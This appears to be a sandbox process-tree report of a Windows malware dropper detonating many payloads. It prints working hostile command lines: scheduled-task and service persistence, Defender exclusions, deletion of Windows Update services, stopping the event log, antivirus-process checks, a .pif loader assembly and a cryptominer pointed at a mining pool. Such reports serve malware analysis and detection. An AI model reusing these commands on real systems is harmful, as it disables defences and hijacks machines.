C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6868 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6652 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=7220 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5796 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3568 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6396 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7040 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4392 /prefetch:15⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff879fe3cb8,0x7ff879fe3cc8,0x7ff879fe3cd85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2008,12387615767178816570,217556578712999502,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2008,12387615767178816570,217556578712999502,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2020 /prefetch:25⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\C2dmlpMMZIM23Z9_C9Dl.exe"C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\C2dmlpMMZIM23Z9_C9Dl.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\x8Ax2NzDqgOYjSNSUPUD.exe"C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\x8Ax2NzDqgOYjSNSUPUD.exe"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131\MSIUpdaterV131.exe" /tn "MSIUpdaterV131 HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131\MSIUpdaterV131.exe" /tn "MSIUpdaterV131 LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\wScWDGcPj1ynPRMrTXXE.exe"C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\wScWDGcPj1ynPRMrTXXE.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\btpc.exe"C:\Users\Admin\AppData\Local\Temp\Files\btpc.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\superz.exe"C:\Users\Admin\AppData\Local\Temp\Files\superz.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\april.exe"C:\Users\Admin\AppData\Local\Temp\april.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-9FCOI.tmp\april.tmp"C:\Users\Admin\AppData\Local\Temp\is-9FCOI.tmp\april.tmp" /SL5="$50106,7683695,54272,C:\Users\Admin\AppData\Local\Temp\april.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe"C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe" -i5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe"C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe" -s5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe"C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\X1.exe"C:\Users\Admin\AppData\Local\Temp\Files\X1.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "TQBWNGYW"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "TQBWNGYW" binpath= "C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "TQBWNGYW"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe"C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\GorgeousMovement.exe"C:\Users\Admin\AppData\Local\Temp\Files\GorgeousMovement.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k cmd < Suddenly & exit3⤵
-
C:\Windows\SysWOW64\cmd.execmd4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"5⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c mkdir 109345⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Antique + Assurance + Volkswagen + Succeed + Equations 10934\Accommodations.pif5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Matches + Neck 10934\c5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\10934\Accommodations.pif10934\Accommodations.pif 10934\c5⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost5⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp696A.tmp.bat""3⤵
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"6⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\baitedupdate.exe"C:\Users\Admin\AppData\Local\Temp\Files\baitedupdate.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\baitedupdate.exeC:\Users\Admin\AppData\Local\Temp\Files\baitedupdate.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exeC:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe11⤵
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\4c6358aa.exe"C:\Users\Admin\AppData\Local\Temp\Files\4c6358aa.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\native.exe"C:\Users\Admin\AppData\Local\Temp\Files\native.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\BBLb.exe"C:\Users\Admin\AppData\Local\Temp\BBLb.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\BBLb.exeC:\Users\Admin\AppData\Local\Temp\BBLb.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BBLb.exeC:\Users\Admin\AppData\Local\Temp\BBLb.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\native.exeC:\Users\Admin\AppData\Local\Temp\Files\native.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 4804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 4764⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\more.exe"C:\Users\Admin\AppData\Local\Temp\Files\more.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\UiKVWpFsayx.exe"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UiKVWpFsayx" /XML "C:\Users\Admin\AppData\Local\Temp\tmp996E.tmp"3⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\Files\more.exe"C:\Users\Admin\AppData\Local\Temp\Files\more.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "images" /tr '"C:\Users\Admin\AppData\Roaming\images.exe"' & exit4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "images" /tr '"C:\Users\Admin\AppData\Roaming\images.exe"'5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1322.tmp.bat""4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 35⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\images.exe"C:\Users\Admin\AppData\Roaming\images.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\UiKVWpFsayx.exe"6⤵
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UiKVWpFsayx" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1FE0.tmp"6⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Roaming\images.exe"C:\Users\Admin\AppData\Roaming\images.exe"6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\discord.exe"C:\Users\Admin\AppData\Local\Temp\Files\discord.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c net use3⤵
-
C:\Windows\SysWOW64\net.exenet use4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe"C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Blowjob Blowjob.bat & Blowjob.bat & exit3⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"4⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"4⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 111824⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Businesses + Flux + Protest + Hawaii + Vp + Insights 11182\Www.pif4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Congressional + Seems + Racks + Packed + Taiwan + Therefore 11182\W4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\11182\Www.pif11182\Www.pif 11182\W4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "LynxGuard" /tr "wscript 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\LynxGuard.js'" /sc onlogon /F /RL HIGHEST5⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\11182\Www.pifC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\11182\Www.pif5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\11182\Www.pifC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\11182\Www.pif5⤵
-
-
-
C:\Windows\SysWOW64\PING.EXEping -n 15 localhost4⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dmi1dfg7n.exe"C:\Users\Admin\AppData\Local\Temp\Files\dmi1dfg7n.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
-
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }3⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe"C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe" -Force3⤵
-
-
C:\Windows\SysWOW64\calc.exe"C:\Windows\SYSWOW64\calc.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe"C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT /delete /yes3⤵
-
C:\Windows\SysWOW64\at.exeAT /delete /yes4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe3⤵
-
C:\Windows\SysWOW64\at.exeAT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Everything.exe"C:\Users\Admin\AppData\Local\Temp\Files\Everything.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\up.exe"C:\Users\Admin\AppData\Local\Temp\Files\up.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Winlock.exe"C:\Users\Admin\AppData\Local\Temp\Files\Winlock.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2188 -ip 21881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5112 -ip 51121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2188 -ip 21881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2188 -ip 21881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2644 -ip 26441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2188 -ip 21881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1476 -ip 14761⤵
-
C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exeC:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
